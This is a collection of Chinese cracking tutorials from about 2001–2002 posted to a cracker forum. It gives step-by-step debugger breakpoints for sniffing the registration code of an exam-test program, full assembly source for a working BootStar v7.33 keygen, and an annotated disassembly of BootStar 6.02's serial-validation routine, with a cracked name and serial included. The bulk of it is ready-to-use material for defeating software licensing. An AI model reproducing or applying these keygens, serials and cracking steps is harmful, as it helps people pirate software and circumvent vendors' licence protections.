:004863BC 648910 mov dword ptr fs:[eax], edx
:004863BF 68D6634800 push 004863D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004863D4(U)
|
:004863C4 A13CDD4800 mov eax, dword ptr [0048DD3C]
:004863C9 E86ED6F7FF call 00403A3C
:004863CE C3 ret

:004863CF E9FCDDF7FF jmp 004041D0
:004863D4 EBEE jmp 004863C4
:004863D6 8D55CC lea edx, dword ptr [ebp-34]
:004863D9 B8BC614800 mov eax, 004861BC
:004863DE E80106F8FF call 004069E4
:004863E3 8B45CC mov eax, dword ptr [ebp-34]
:004863E6 8A10 mov dl, byte ptr [eax]
:004863E8 8D45D0 lea eax, dword ptr [ebp-30]
:004863EB E898E5F7FF call 00404988
:004863F0 8B45D0 mov eax, dword ptr [ebp-30]
:004863F3 50 push eax
:004863F4 8D45D4 lea eax, dword ptr [ebp-2C]
:004863F7 50 push eax
:004863F8 8D55C8 lea edx, dword ptr [ebp-38]
:004863FB B8B4614800 mov eax, 004861B4
:00486400 E8DF05F8FF call 004069E4
:00486405 8B4DC8 mov ecx, dword ptr [ebp-38]
:00486408 BAB4644800 mov edx, 004864B4
:0048640D A12CDD4800 mov eax, dword ptr [0048DD2C]
:00486412 E8B1FCFFFF call 004860C8
:00486417 8B55D4 mov edx, dword ptr [ebp-2C] //哈哈..这次是不是快很多...
:0048641A A130DD4800 mov eax, dword ptr [0048DD30]
name:ssljx[BCG]
code:2ceddf9b

把注册表HKEY_CURRENT_USER\Software\iSplit又是未注册版.
这篇破文没讲算法,没有具体取分析程序.我只是将我破解过程的到的小小经验跟各位分享..断点设得好,破解容易搞,,哈...各位大侠指正!!!!

ssljx[BCG]


中国计算机软件水平考试测试系统2.0版(

 标 题:morning伸请入BCG破文之二 (3千字)
发信人:★morning★
时 间:2001-9-10 22:51:22
详细信息:
morning伸请入BCG破文之二
目标软件：中国计算机软件水平考试测试系统2.0版(程序员)http://www.csdn.net/cnshare/soft/7/7791.html
工具:TRW2000 1.23
1.启动目标软件后,启动TRW
2.在目标软件中点"注册"
3.出现注册对话框后,填入用户名:morning,注册号:12345678
4.CTRL+N 呼出TRW,下BPX HMEMCPY,F5返回目标软件
5.按下"立即注册",被TRW拦下,BC清除断点,下PMODULE来到目标领空
6.按F12七下(因为八下就完啦),再按F10无数直到下面:

.
.
.
.
.
.
.
015F:004045C8 DEC DWORD [ESI+1C]
015F:004045CB LEA EAX,[EBP-08]
015F:004045CE MOV EDX,02
015F:004045D3 CALL 00497428
015F:004045D8 MOV WORD [ESI+10],08
015F:004045DE MOV WORD [ESI+10],20
015F:004045E4 XOR EAX,EAX
015F:004045E6 MOV [EBP-38],EAX
015F:004045E9 LEA EDX,[EBP-38]
015F:004045EC INC DWORD [ESI+1C]
015F:004045EF MOV EAX,[EBX+02E8]
015F:004045F5 CALL 0045DF88
015F:004045FA LEA EAX,[EBP-38]
015F:004045FD LEA EDX,[EBP-04]
015F:00404600 CALL 004974F8 <-------⑤在这里按F8进入(代码在最后)
015F:00404605 PUSH EAX
015F:00404606 DEC DWORD [ESI+1C]
015F:00404609 LEA EAX,[EBP-38]
015F:0040460C MOV EDX,02
015F:00404611 CALL 00497428 <------④到这里绕了一圈结果什么也没有,只好再向上
015F:00404616 POP ECX
015F:00404617 TEST CL,CL <---------③这里一定是在测试标志位
015F:00404619 JZ NEAR 004048B4 <-------②找到这里,发现是从这里跳去的
015F:0040461F MOV DL,01
015F:00404621 MOV EAX,[00439CEC]
015F:00404626 CALL 00439DEC
015F:0040462B MOV EDI,EAX
015F:0040462D MOV [EBX+0304],EDI
015F:00404633 MOV EDX,80000002
.
.
.
.
.
015F:00404892 DEC DWORD [ESI+1C]
015F:00404895 LEA EAX,[EBP-54]
015F:00404898 MOV EDX,02
015F:0040489D CALL 00497428
015F:004048A2 DEC DWORD [ESI+1C]
015F:004048A5 LEA EAX,[EBP-50]
015F:004048A8 MOV EDX,02
015F:004048AD CALL 00497428
015F:004048B2 JMP SHORT 004048CC
015F:004048B4 MOV EAX,[004B3C74]
015F:004048B9 PUSH BYTE +00
015F:004048BB MOV ECX,004AD9BE
015F:004048C0 MOV EDX,004AD99A
015F:004048C5 MOV EAX,[EAX]
015F:004048C7 CALL 004972D0 <--------①这里一CALL就完了，所以向上找看是从哪里跳来的。

=============================================================
在015F:00404600 CALL 004974F8 按F8进入后看到
--------------------------------------------------
015F:004974F8 PUSH EBP <----------⑥先停在这里,按F10向下
015F:004974F9 MOV EBP,ESP
015F:004974FB PUSH EBX
015F:004974FC MOV EAX,[EAX]⑦ <-----呵呵~~在这里可以看到我的12345678
015F:004974FE MOV EDX,[EDX]⑧ <-----在这里就可以看到真的注册码啦
015F:00497500 CALL 004896D4⑨ <-----这个CALL是在比较注册码
015F:00497505 SETZ AL
015F:00497508 AND EAX,BYTE +01
015F:0049750B POP EBX
015F:0049750C POP EBP
==============================================================
呵呵~~这是小弟写的第二篇破文,也是我破的第二个软件,如有什么错误请大家多多指教.

特别感谢6767大哥等人对我的教导,我想我一定会更加努力学习的.

morning
2001.9.10
☆祝老师们节日快乐☆


BootStar v7.33

 标 题:BootStar v7.33 keygen in pure win32asm. (6千字)
发信人:arbiter
时 间:2002-2-8 22:03:15
详细信息:
很久没见到这么简单的玩意儿了，不容易。
使用，转载请保持完整性。
;======================================================================
;BootStar v7.33 keygen by arbiter. Feb.2002.
;Assemble:
;tasm32 /mx /m4 /z keygen.asm
;tlink32 -x -V4.0 -Tpe -aa -c keygen.obj,keygen,,,keygen.def,keygen.res
;======================================================================

.386
.MODEL FLAT, STDCALL
LOCALS
UNICODE = 0

include E:\TASM5Plus\TASM5Plus\INCLUDE\w32.inc
includelib E:\TASM5Plus\TASM5Plus\LIB\imp32i.lib

IDD_DIALOG equ 101
EDIT_NAME equ 1001
EDIT_CODE equ 1002
BT_ABOUT equ 1003
BT_EXIT equ 1004

extrn wsprintfA : PROC
extrn CharUpperA : PROC
extrn memset : PROC

minl = 10
maxl = 60
.DATA
defName db "arbiter[CCG]", 0
cap db "BootStar v7.33 KeyGen by arbiter[CCG]", 0
format db "BM1-%s-%s-%s", 0
abouttxt db "$^) ", 13, 10
db "Key Generator for BootStar v7.33 ", 13, 10
db "@@@ Made by arbiter[CCG] @@@ ", 13, 10, 13, 10
db "Hope you'll be satisfied! with ", 13, 10
db "this release from arbiter. ", 13, 10
db "to be continue... ", 0
aboutcap db "uh-huh!", 0
insuLen db "Name length must equal or greater 10!", 0
.DATA?
hdlg dd ?
_hInst dd ?
nlen dd ?

uName db 60 dup( ? )
uCode db 30 dup( ? )
temp db 30 dup( ? )
part1 db 10 dup( ? )
part2 db 10 dup( ? )
part3 db 10 dup( ? )

.CODE
Start: pushad
call GetModuleHandle, 0
test eax, eax
je @out
mov _hInst, eax
call DialogBoxParamA, _hInst, IDD_DIALOG, 0, offset DlgProc, 0
@out:
popad
call ExitProcess, 0
RET
;----------------------------------------------------------------------
DlgProc PROC __hWnd : DWORD, wmsg : UINT, _wParam : WPARAM, _lParam : LPARAM
uses ebx, esi, edi
mov eax, wmsg
cmp eax, WM_CLOSE
jz _wmDes
cmp eax, WM_COMMAND
jz _wmCmd
cmp eax, WM_INITDIALOG
jz _wmInit
xor eax, eax
RET
;----------------------------------------------------------------------
_wmDes:
call EndDialog, hdlg, 0
RET
;----------------------------------------------------------------------
_wmCmd:
mov eax, _wParam
cmp ax, EDIT_NAME
jnz nochange
shr eax, 16
cmp ax, EN_CHANGE
jnz nochange
call Generate
xor eax, eax
RET
nochange:
cmp ax, BT_ABOUT
jnz noAbout
call MessageBoxA, hdlg, offset abouttxt, offset aboutcap, \
MB_ICONINFORMATION OR MB_OK OR MB_APPLMODAL
jmp cout
noAbout:
cmp ax, BT_EXIT
jz _wmDes
cout:
xor eax, eax
RET
;-----------------------------------------------------------------------
_wmInit:
mov eax, __hWnd
mov hdlg, eax
call GetDlgItem, __hWnd, EDIT_NAME
call SendMessageA, eax, EM_SETLIMITTEXT, maxl, 0
call SetWindowTextA, __hWnd, offset cap
call SetDlgItemTextA, __hWnd, EDIT_NAME, offset defName
push 1
pop eax
RET
DlgProc ENDP
;-----------------------------------------------------------------------
Generate PROC
call GetDlgItemtextA, __hWnd, EDIT_NAME, offset uName, maxl + 1
cmp eax, minl
jl @CharsInsufficient
mov nlen, eax
push offset uName
call CharUpperA
mov ecx, nlen
xor eax, eax
xor edx, edx
lea esi, uName
@conti:
mov al, byte ptr[esi]
add edx, eax
inc esi
dec ecx
jnz @conti
xchg dh, dl
push dx
call memset, offset part1, 0, 10
add esp, 12
pop dx
lea edi, part1
mov byte ptr[edi], 2
mov word ptr[edi+1], dx
push edi
push offset temp
call Computel
mov eax, dword ptr[temp]
mov dword ptr[part2], eax
mov al, byte ptr[uName]
mov byte ptr[part2+4], al ;finish constructing the 2nd part.

mov dx, word ptr[uName]
push dx
call memset, offset part1, 0, 10
add esp, 12
pop dx
lea edi, part1
mov byte ptr[edi], 2
mov word ptr[edi+1], dx
push edi
push offset temp
call Computel
mov eax, dword ptr[temp]
mov dword ptr[part3], eax ;finish constructing the 3rd part.

call memset, offset part1, 0, 10
add esp, 12
lea edi, part1
mov byte ptr[edi], 1
mov eax, nlen
mov byte ptr[edi+1], al
push edi
push offset temp
call Computel
mov ax, word ptr[temp]
push ax
push ax

call memset, offset part1, 0, 10
add esp, 12
pop ax
lea edi, part1
lea esi, uName
mov word ptr[edi], ax
mov al, byte ptr[esi+1]
inc edi
inc edi
stosb ;be preparing the 1st part...
call memset, offset temp, 0, 30
add esp, 12
push offset part3
push offset part2
push offset part1
call wsprintfA, offset temp, offset format
add esp, 20

;now checking out the mid-age buffer length.
or ecx, 0FFFFFFFFH
lea edi, temp
xor al, al
repnz scasb
neg ecx
dec ecx
xor edx, edx
lea esi, [temp] ;sum up the temp buf for finalizing the part1.
sum2: xor eax, eax
mov al, byte ptr[esi]
add dx, ax
inc esi
dec cl
jnz sum2
push dx
call memset, offset temp, 0, 30
add esp, 12
pop dx
lea edi, [part1]
mov byte ptr[edi], 1
mov byte ptr[edi+1], dl
push edi
push offset temp
call Computel
call memset, offset part1, 0, 10
add esp, 12
pop ax
lea edi, [part1]
mov word ptr[edi], ax
mov ax, word ptr[temp]
mov word ptr[edi+2], ax
mov al, byte ptr[uName+1]
mov byte ptr[edi+4], al ;finishing constructing 1st part.

call memset, offset uCode, 0, 30
add esp, 12
push offset part3
push offset part2
push offset part1
call wsprintfA, offset uCode, offset format
add esp, 20

call SetDlgItemTextA, hdlg, EDIT_CODE, offset uCode
GenOk: xor eax, eax
RET
@CharsInsufficient:
call SetDlgItemTextA, hdlg, EDIT_CODE, offset insuLen
jmp GenOk
Generate ENDP
;-----------------------------------------------------------------------
Computel PROC
push ebp
mov ebp, esp
push ebx
push edi
push esi
xor eax, eax
xor ebx, ebx
xor edx, edx
mov esi, [ebp+12]
mov edi, [ebp+8]
mov bh, byte ptr[esi]
xor ecx, ecx
goon:
inc esi
mov bl, byte ptr[esi]
inc cl
mov eax, 0A5H
shl eax, cl
xor bl, cl
xor bl, 0A5H
xor al, bl
mov dl, al
and edx, 15
shr al, 4
movzx eax, al
mov al, cctab[eax]
mov ah, cctab[edx]
stosw
dec bh
jnz goon

pop esi
pop edi
pop ebx
pop ebp
RET 8
cctab db "0123456789ABCDEF"
Computel ENDP
;----------------------------------------------------------------------
END Start


bootstart6.02

 标 题:CRACK bootstart6.02版 (26千字)
发信人:abcde-12345
时 间:2001-10-22 17:43:24
详细信息:
bootstart6.02版适用于最新版7.xx
对CODE作如下说明
CODE: ***-*****-*****-****
||| ||||| ||||| ||||-C44
||| ||||| ||||| |||--C43
||| ||||| ||||| ||---C42
||| ||||| ||||| |----C41
||| ||||| |||||
||| ||||| |||||------C35
||| ||||| ||||-------C34
||| ||||| |||--------C33
||| ||||| ||---------C32
||| ||||| |----------C31
||| |||||
||| |||||------------C25
||| ||||-------------C24
||| |||--------------C23
||| ||---------------C22
||| |----------------C21
|||
|||------------------C13
||-------------------C12
|--------------------C11

设断点 BPX HMEMCPY
BPX CALLWINDOWPROCA
程序来到 4902E0
:004902E0 E84F19FAFF call 00431C34 <-读入 code
:004902E5 8B45F8 mov eax, dword ptr [ebp-08]
:004902E8 8D55FC lea edx, dword ptr [ebp-04]
:004902EB E84035FCFF call 00453830
:004902F0 8B55FC mov edx, dword ptr [ebp-04]
:004902F3 8D83EC020000 lea eax, dword ptr [ebx+000002EC]
:004902F9 E8BE39F7FF call 00403CBC
:004902FE 8D55F8 lea edx, dword ptr [ebp-08]
:00490301 8B83D0020000 mov eax, dword ptr [ebx+000002D0]
:00490307 E82819FAFF call 00431C34 <-读入 name
程序要走好长可以按 F12 24次,来到此处:
:004ACD37 48 dec eax
:004ACD38 0F8583000000 jne 004ACDC1
:004ACD3E 84DB test bl, bl
:004ACD40 7547 jne 004ACD89
:004ACD42 A1D0714B00 mov eax, dword ptr [004B71D0]
:004ACD47 8B00 mov eax, dword ptr [eax]
:004ACD49 8D90EC020000 lea edx, dword ptr [eax+000002EC]
:004ACD4F 8B8698040000 mov eax, dword ptr [esi+00000498]
:004ACD55 8B00 mov eax, dword ptr [eax]
:004ACD57 8B08 mov ecx, dword ptr [eax]
:004ACD59 FF5114 call [ecx+14]
:004ACD5C 8BD8 mov ebx, eax
:004ACD5E 8D45F8 lea eax, dword ptr [ebp-08]
:004ACD61 E8026FF5FF call 00403C68
:004ACD66 80FB05 cmp bl, 05
:004ACD69 7510 jne 004ACD7B
:004ACD6B 8D45F8 lea eax, dword ptr [ebp-08]
:004ACD6E 8B155C6C4B00 mov edx, dword ptr [004B6C5C]
:004ACD74 8B12 mov edx, dword ptr [edx]
:004ACD76 E8856FF5FF call 00403D00

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004ACD69(C)
|
:004ACD7B 8B4DF8 mov ecx, dword ptr [ebp-08]
:004ACD7E 8BD3 mov edx, ebx
:004ACD80 66B81C00 mov ax, 001C
:004ACD84 E867E3FDFF call 0048B0F0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004ACD40(C)
|
:004ACD89 84DB test bl, bl
:004ACD8B 7534 jne 004ACDC1
:004ACD8D 8D4DFF lea ecx, dword ptr [ebp-01]
:004ACD90 A1D0714B00 mov eax, dword ptr [004B71D0]
:004ACD95 8B00 mov eax, dword ptr [eax]
:004ACD97 8D90EC020000 lea edx, dword ptr [eax+000002EC]
:004ACD9D 8B8698040000 mov eax, dword ptr [esi+00000498]
:004ACDA3 8B00 mov eax, dword ptr [eax]
:004ACDA5 8B18 mov ebx, dword ptr [eax]
:004ACDA7 FF5310 call [ebx+10] <-计算及判断CODE正确性
:004ACDAA 8BD8 mov ebx, eax
:004ACDAC 807DFF00 cmp byte ptr [ebp-01], 00
:004ACDB0 7502 jne 004ACDB4
:004ACDB2 B354 mov bl, 54 <-错误

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004ACDB0(C)
|
:004ACDB4 33C9 xor ecx, ecx
:004ACDB6 8BD3 mov edx, ebx
:004ACDB8 66B81D00 mov ax, 001D
:004ACDBC E82FE3FDFF call 0048B0F0 <-失败对话框

进入:004ACDA7 FF5310 call [ebx+10]此呼叫
还要走好长!!!!!!
核心关键之处:
* Referenced by a CALL at Addresses:
|:0046B92A , :0046B9E1 , :0046CA46
|
:00453ABC 55 push ebp
:00453ABD 8BEC mov ebp, esp
:00453ABF 83C4D8 add esp, FFFFFFD8
:00453AC2 53 push ebx
:00453AC3 56 push esi
:00453AC4 57 push edi
:00453AC5 33C9 xor ecx, ecx
:00453AC7 894DEC mov dword ptr [ebp-14], ecx
:00453ACA 894DE8 mov dword ptr [ebp-18], ecx
:00453ACD 894DD8 mov dword ptr [ebp-28], ecx
:00453AD0 894DF0 mov dword ptr [ebp-10], ecx
:00453AD3 8BF0 mov esi, eax
:00453AD5 8D7DF8 lea edi, dword ptr [ebp-08]
:00453AD8 A5 movsd
:00453AD9 A5 movsd
:00453ADA 8955F4 mov dword ptr [ebp-0C], edx
:00453ADD 8D45F8 lea eax, dword ptr [ebp-08]

* Possible StringData Ref from Data Obj ->"TRGRegisterInfo"
|
:00453AE0 8B1554394500 mov edx, dword ptr [00453954]
:00453AE6 E8F90BFBFF call 004046E4
:00453AEB 33C0 xor eax, eax
:00453AED 55 push ebp
:00453AEE 68263F4500 push 00453F26
:00453AF3 64FF30 push dword ptr fs:[eax]
:00453AF6 648920 mov dword ptr fs:[eax], esp
:00453AF9 8D55EC lea edx, dword ptr [ebp-14]
:00453AFC 8B45F8 mov eax, dword ptr [ebp-08]
:00453AFF E8A0FBFFFF call 004536A4
:00453B04 8B45EC mov eax, dword ptr [ebp-14]
:00453B07 8D55E8 lea edx, dword ptr [ebp-18]
:00453B0A E8454FFBFF call 00408A54
:00453B0F 8B45E8 mov eax, dword ptr [ebp-18]
:00453B12 8D55EC lea edx, dword ptr [ebp-14]
:00453B15 E816FDFFFF call 00453830
:00453B1A 8B55EC mov edx, dword ptr [ebp-14]
:00453B1D 8D45F8 lea eax, dword ptr [ebp-08]
:00453B20 E8DB01FBFF call 00403D00
:00453B25 8D55EC lea edx, dword ptr [ebp-14]
:00453B28 8B45FC mov eax, dword ptr [ebp-04]
:00453B2B E874FBFFFF call 004536A4
:00453B30 8B45EC mov eax, dword ptr [ebp-14]
:00453B33 8D55E8 lea edx, dword ptr [ebp-18]
:00453B36 E8194FFBFF call 00408A54
:00453B3B 8B45E8 mov eax, dword ptr [ebp-18]
:00453B3E 8D55EC lea edx, dword ptr [ebp-14]
:00453B41 E8EAFCFFFF call 00453830
:00453B46 8B55EC mov edx, dword ptr [ebp-14]
:00453B49 8D45FC lea eax, dword ptr [ebp-04]
:00453B4C E8AF01FBFF call 00403D00
:00453B51 B301 mov bl, 01
:00453B53 84DB test bl, bl
:00453B55 740F je 00453B66
:00453B57 8B45F8 mov eax, dword ptr [ebp-08]

* Possible StringData Ref from Data Obj ->"REGISTERED USER"
|
:00453B5A BA3C3F4500 mov edx, 00453F3C
:00453B5F E89004FBFF call 00403FF4
:00453B64 7504 jne 00453B6A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B55(C)
|
:00453B66 33C0 xor eax, eax
:00453B68 EB02 jmp 00453B6C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B64(C)
|
:00453B6A B001 mov al, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B68(U)
|
:00453B6C 8BD8 mov ebx, eax
:00453B6E 84DB test bl, bl
:00453B70 740D je 00453B7F
:00453B72 8B45F8 mov eax, dword ptr [ebp-08]
:00453B75 E86A03FBFF call 00403EE4
:00453B7A 83F80A cmp eax, 0000000A <-NAME的位数大于等于10位
:00453B7D 7D04 jge 00453B83

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B70(C)
|
:00453B7F 33C0 xor eax, eax
:00453B81 EB02 jmp 00453B85

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B7D(C)
|
:00453B83 B001 mov al, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B81(U)
|
:00453B85 8BD8 mov ebx, eax
:00453B87 84DB test bl, bl
:00453B89 7426 je 00453BB1
:00453B8B 8D45EC lea eax, dword ptr [ebp-14]
:00453B8E 50 push eax
:00453B8F B904000000 mov ecx, 00000004
:00453B94 BA01000000 mov edx, 00000001
:00453B99 8B45FC mov eax, dword ptr [ebp-04]
:00453B9C E84705FBFF call 004040E8
:00453BA1 8B45EC mov eax, dword ptr [ebp-14]

* Possible StringData Ref from Data Obj ->"BM1-"
|
:00453BA4 BA543F4500 mov edx, 00453F54
:00453BA9 E84604FBFF call 00403FF4 <-C1是否等于BM1
:00453BAE 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453B89(C)
|
:00453BB1 84DB test bl, bl
:00453BB3 7456 je 00453C0B <-去死
:00453BB5 8B45F8 mov eax, dword ptr [ebp-08]
:00453BB8 E82703FBFF call 00403EE4
:00453BBD 8BD0 mov edx, eax
:00453BBF 8D45EC lea eax, dword ptr [ebp-14]
:00453BC2 E84502FBFF call 00403E0C
:00453BC7 8B45EC mov eax, dword ptr [ebp-14]
:00453BCA 8D55F0 lea edx, dword ptr [ebp-10]
:00453BCD E8B2FDFFFF call 00453984
:00453BD2 8D45EC lea eax, dword ptr [ebp-14]
:00453BD5 50 push eax
:00453BD6 B902000000 mov ecx, 00000002
:00453BDB BA05000000 mov edx, 00000005
:00453BE0 8B45FC mov eax, dword ptr [ebp-04]
:00453BE3 E80005FBFF call 004040E8
:00453BE8 8B45EC mov eax, dword ptr [ebp-14]
:00453BEB 50 push eax
:00453BEC 8D4DE8 lea ecx, dword ptr [ebp-18]
:00453BEF 8B45F0 mov eax, dword ptr [ebp-10]
:00453BF2 0FB600 movzx eax, byte ptr [eax]
:00453BF5 BA02000000 mov edx, 00000002
:00453BFA E8F950FBFF call 00408CF8 <-生成C21 C22
:00453BFF 8B55E8 mov edx, dword ptr [ebp-18] <-真的C21 C22 BPX3
:00453C02 58 pop eax <-假的C21 C22
:00453C03 E8EC03FBFF call 00403FF4
:00453C08 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453BB3(C)
|
:00453C0B 84DB test bl, bl
:00453C0D 0F8494000000 je 00453CA7 <-去死
:00453C13 8D45F0 lea eax, dword ptr [ebp-10]
:00453C16 8B55FC mov edx, dword ptr [ebp-04]
:00453C19 E8E200FBFF call 00403D00
:00453C1E 8D45F0 lea eax, dword ptr [ebp-10]
:00453C21 B902000000 mov ecx, 00000002
:00453C26 BA07000000 mov edx, 00000007
:00453C2B E8F804FBFF call 00404128
:00453C30 33F6 xor esi, esi
:00453C32 8B45F0 mov eax, dword ptr [ebp-10]
:00453C35 E8AA02FBFF call 00403EE4
:00453C3A 84C0 test al, al
:00453C3C 7616 jbe 00453C54
:00453C3E B201 mov dl, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453C52(C)
|
:00453C40 33C9 xor ecx, ecx
:00453C42 8ACA mov cl, dl
:00453C44 8B5DF0 mov ebx, dword ptr [ebp-10]
:00453C47 0FB64C0BFF movzx ecx, byte ptr [ebx+ecx-01]
:00453C4C 6603F1 add si, cx
:00453C4F 42 inc edx
:00453C50 FEC8 dec al
:00453C52 75EC jne 00453C40

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453C3C(C)
|
:00453C54 8D45EC lea eax, dword ptr [ebp-14]
:00453C57 8BD6 mov edx, esi
:00453C59 6681E2FF00 and dx, 00FF
:00453C5E E8A901FBFF call 00403E0C
:00453C63 8B45EC mov eax, dword ptr [ebp-14]
:00453C66 8D55F0 lea edx, dword ptr [ebp-10]
:00453C69 E816FDFFFF call 00453984
:00453C6E 8D45EC lea eax, dword ptr [ebp-14]
:00453C71 50 push eax
:00453C72 B902000000 mov ecx, 00000002
:00453C77 BA07000000 mov edx, 00000007
:00453C7C 8B45FC mov eax, dword ptr [ebp-04]
:00453C7F E86404FBFF call 004040E8
:00453C84 8B45EC mov eax, dword ptr [ebp-14]
:00453C87 50 push eax
:00453C88 8D4DE8 lea ecx, dword ptr [ebp-18]
:00453C8B 8B45F0 mov eax, dword ptr [ebp-10]
:00453C8E 0FB600 movzx eax, byte ptr [eax]
:00453C91 BA02000000 mov edx, 00000002
:00453C96 E85D50FBFF call 00408CF8 <-生成C23 C24 BPX4
:00453C9B 8B55E8 mov edx, dword ptr [ebp-18] <-假的C23 C24 ?写错了!呵呵没有错啦①
:00453C9E 58 pop eax <-假的C23 C24
:00453C9F E85003FBFF call 00403FF4
:00453CA4 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453C0D(C)
|
:00453CA7 84DB test bl, bl
:00453CA9 0F848B000000 je 00453D3A <-去死
:00453CAF 8B55F8 mov edx, dword ptr [ebp-08]

* Possible StringData Ref from Data Obj ->" "
|
:00453CB2 B8643F4500 mov eax, 00453F64
:00453CB7 E81005FBFF call 004041CC <-NAME 中不能有空格
:00453CBC 85C0 test eax, eax
:00453CBE 7E15 jle 00453CD5 <-去死
:00453CC0 8B55F8 mov edx, dword ptr [ebp-08]

* Possible StringData Ref from Data Obj ->" "
|
:00453CC3 B8643F4500 mov eax, 00453F64
:00453CC8 E8FF04FBFF call 004041CC
:00453CCD 8B55F8 mov edx, dword ptr [ebp-08]
:00453CD0 8A1C02 mov bl, byte ptr [edx+eax]
:00453CD3 EB06 jmp 00453CDB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453CBE(C)
|
:00453CD5 8B45F8 mov eax, dword ptr [ebp-08]
:00453CD8 8A5801 mov bl, byte ptr [eax+01]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453CD3(U)
|
:00453CDB 8D45EC lea eax, dword ptr [ebp-14]
:00453CDE 50 push eax
:00453CDF B902000000 mov ecx, 00000002
:00453CE4 BA09000000 mov edx, 00000009
:00453CE9 8B45FC mov eax, dword ptr [ebp-04]
:00453CEC E8F703FBFF call 004040E8
:00453CF1 8B45EC mov eax, dword ptr [ebp-14]
:00453CF4 50 push eax
:00453CF5 8BC3 mov eax, ebx
:00453CF7 E868EDFAFF call 00402A64
:00453CFC 8BD0 mov edx, eax
:00453CFE 8D45E4 lea eax, dword ptr [ebp-1C]
:00453D01 885001 mov byte ptr [eax+01], dl
:00453D04 C60001 mov byte ptr [eax], 01
:00453D07 8D55E4 lea edx, dword ptr [ebp-1C]
:00453D0A 8D45E0 lea eax, dword ptr [ebp-20]
:00453D0D E842EEFAFF call 00402B54
* Possible StringData Ref from Data Obj ->"-"
|
:00453D12 BA683F4500 mov edx, 00453F68
:00453D17 8D45E0 lea eax, dword ptr [ebp-20]
:00453D1A B102 mov cl, 02
:00453D1C E803EEFAFF call 00402B24
:00453D21 8D55E0 lea edx, dword ptr [ebp-20]
:00453D24 8D45E8 lea eax, dword ptr [ebp-18]
:00453D27 E85C01FBFF call 00403E88 <-生成C25 NAME的第二个字母
<-F10 代过,就中断在 BPX3 在次运行
<-到此则出现失败对话框??只好清除 中断 3
:00453D2C 8B55E8 mov edx, dword ptr [ebp-18] <-真的C25 BPX5
:00453D2F 58 pop eax <-假的C25
:00453D30 E8BF02FBFF call 00403FF4
:00453D35 0F94C0 sete al
:00453D38 8BD8 mov ebx, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453CA9(C)
|
:00453D3A 84DB test bl, bl
:00453D3C 0F84CB000000 je 00453E0D <-去死
:00453D42 33F6 xor esi, esi
:00453D44 8B45F8 mov eax, dword ptr [ebp-08]
:00453D47 E89801FBFF call 00403EE4
:00453D4C 84C0 test al, al
:00453D4E 7616 jbe 00453D66
:00453D50 B201 mov dl, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453D64(C)
|
:00453D52 33C9 xor ecx, ecx
:00453D54 8ACA mov cl, dl
:00453D56 8B5DF8 mov ebx, dword ptr [ebp-08]
:00453D59 0FB64C0BFF movzx ecx, byte ptr [ebx+ecx-01]
:00453D5E 6603F1 add si, cx
:00453D61 42 inc edx
:00453D62 FEC8 dec al
:00453D64 75EC jne 00453D52

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453D4E(C)
|
:00453D66 8D45E4 lea eax, dword ptr [ebp-1C]
:00453D69 8BD6 mov edx, esi
:00453D6B 66C1EA08 shr dx, 08
:00453D6F 885001 mov byte ptr [eax+01], dl
:00453D72 C60001 mov byte ptr [eax], 01
:00453D75 8D55E4 lea edx, dword ptr [ebp-1C]
:00453D78 8D45E0 lea eax, dword ptr [ebp-20]
:00453D7B E8D4EDFAFF call 00402B54
:00453D80 8D45DC lea eax, dword ptr [ebp-24]
:00453D83 8BD6 mov edx, esi
:00453D85 6681E2FF00 and dx, 00FF
:00453D8A 885001 mov byte ptr [eax+01], dl
:00453D8D C60001 mov byte ptr [eax], 01
:00453D90 8D55DC lea edx, dword ptr [ebp-24]
:00453D93 8D45E0 lea eax, dword ptr [ebp-20]
:00453D96 B102 mov cl, 02
:00453D98 E887EDFAFF call 00402B24
:00453D9D 8D55E0 lea edx, dword ptr [ebp-20]
:00453DA0 8D45EC lea eax, dword ptr [ebp-14]
:00453DA3 E8E000FBFF call 00403E88
:00453DA8 8B45EC mov eax, dword ptr [ebp-14]
:00453DAB 8D55F0 lea edx, dword ptr [ebp-10]
:00453DAE E8D1FBFFFF call 00453984
:00453DB3 8D45EC lea eax, dword ptr [ebp-14]
:00453DB6 50 push eax
:00453DB7 B904000000 mov ecx, 00000004
:00453DBC BA0B000000 mov edx, 0000000B
:00453DC1 8B45FC mov eax, dword ptr [ebp-04]
:00453DC4 E81F03FBFF call 004040E8
:00453DC9 8B45EC mov eax, dword ptr [ebp-14]
:00453DCC 50 push eax
:00453DCD 8D4DE8 lea ecx, dword ptr [ebp-18]
:00453DD0 8B45F0 mov eax, dword ptr [ebp-10]
:00453DD3 0FB600 movzx eax, byte ptr [eax]
:00453DD6 BA02000000 mov edx, 00000002
:00453DDB E8184FFBFF call 00408CF8
:00453DE0 8D45E8 lea eax, dword ptr [ebp-18]
:00453DE3 50 push eax
:00453DE4 8D4DD8 lea ecx, dword ptr [ebp-28]
:00453DE7 8B45F0 mov eax, dword ptr [ebp-10]
:00453DEA 0FB64001 movzx eax, byte ptr [eax+01]
:00453DEE BA02000000 mov edx, 00000002
:00453DF3 E8004FFBFF call 00408CF8
:00453DF8 8B55D8 mov edx, dword ptr [ebp-28]
:00453DFB 58 pop eax
:00453DFC E8EB00FBFF call 00403EEC <-生成C31 C32 C33 C34
